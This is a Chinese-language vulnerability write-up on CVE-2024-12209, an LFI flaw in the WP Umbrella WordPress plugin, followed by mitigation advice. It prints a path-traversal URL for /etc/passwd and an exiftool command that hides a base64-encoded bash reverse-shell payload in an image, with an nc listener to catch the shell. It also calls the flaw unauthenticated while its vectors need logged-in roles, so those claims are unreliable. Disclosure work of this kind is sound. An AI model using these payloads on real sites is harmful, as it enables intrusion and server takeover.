WP Umbrella 插件中严重 LFI 漏洞允许在 WordPress 站点上实现 RCE
WP Umbrella 插件中发现了一个 CVSS 9.8 分的严重 LFI 漏洞(CVE-2024-12209),该插件被超过 30,000 个 WordPress 站点使用。该漏洞影响 umbrella-restore 端点,通过 filename 参数,允许未认证用户实现远程代码执行(RCE)。
该插件旨在集中监控和管理多个 WordPress 站点,因此深受代理机构和自由职业者的欢迎。该漏洞通过未进行路径验证的动态文件包含来利用。
设置测试环境
要重现,需要本地 LAMP/XAMPP 环境,包含 PHP 和 MySQL。安装 WordPress:
cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/
sudo chown -R daemon:daemon /opt/lampp/htdocs
然后在 http://127.0.0.1/wordpress 运行安装程序。安装存在漏洞的 WP Umbrella 插件版本。
umbrella-restore 中的 LFI 机制
该漏洞源于 PHP 的 include/require 函数中对 filename 参数缺少净化。攻击者可以指定服务器上任意文件的路径。
向量 1:直接读取系统文件(Contributor 角色)
对于没有媒体上传权限的角色,使用路径遍历:
https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd
这允许在无需额外权限的情况下转储 /etc/passwd 的内容。
向量 2:通过 EXIF 元数据注入实现 RCE(Author 角色)
- 创建一个在 EXIF 注释中包含 PHP 负载的 JPG 文件:
exiftool -Comment="<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash')?>" name.jpg
- 通过后台上传文件:媒体 → 新增。
- 复制上传文件的 URL,例如
/wp-content/uploads/2024/12/maxresdefault.jpg。
- 启动 Netcat 监听器:
nc -lvnp 4444
- 利用 LFI:
http://localhost/?umbrella-restore=1&filename=wp-content/uploads/2024/12/maxresdefault.jpg
负载执行,在 4444 端口建立反向 shell。
防护建议
- 将 WP Umbrella 插件更新到已修补版本。
- 部署带有路径遍历防护规则的 WAF(ModSecurity OWASP CRS)。
- 禁用未认证用户对
umbrella-restore的访问。 - 在 php.ini 中使用
open_basedir限制文件系统访问。 - 定期使用 Burp Suite 或 Nuclei 扫描 LFI。
要点
- CVSS 9.8 分漏洞允许在 30,000 多个站点上未认证 RCE。
- 两种向量:直接 LFI 和通过上传媒体文件中的 EXIF 注入。
- 利用仅需前端访问,Contributor 角色或更高。
- 必须打补丁;否则可能导致服务器接管和数据泄露。
- 在隔离环境中测试,避免生产环境。
— Editorial Team
暂无评论。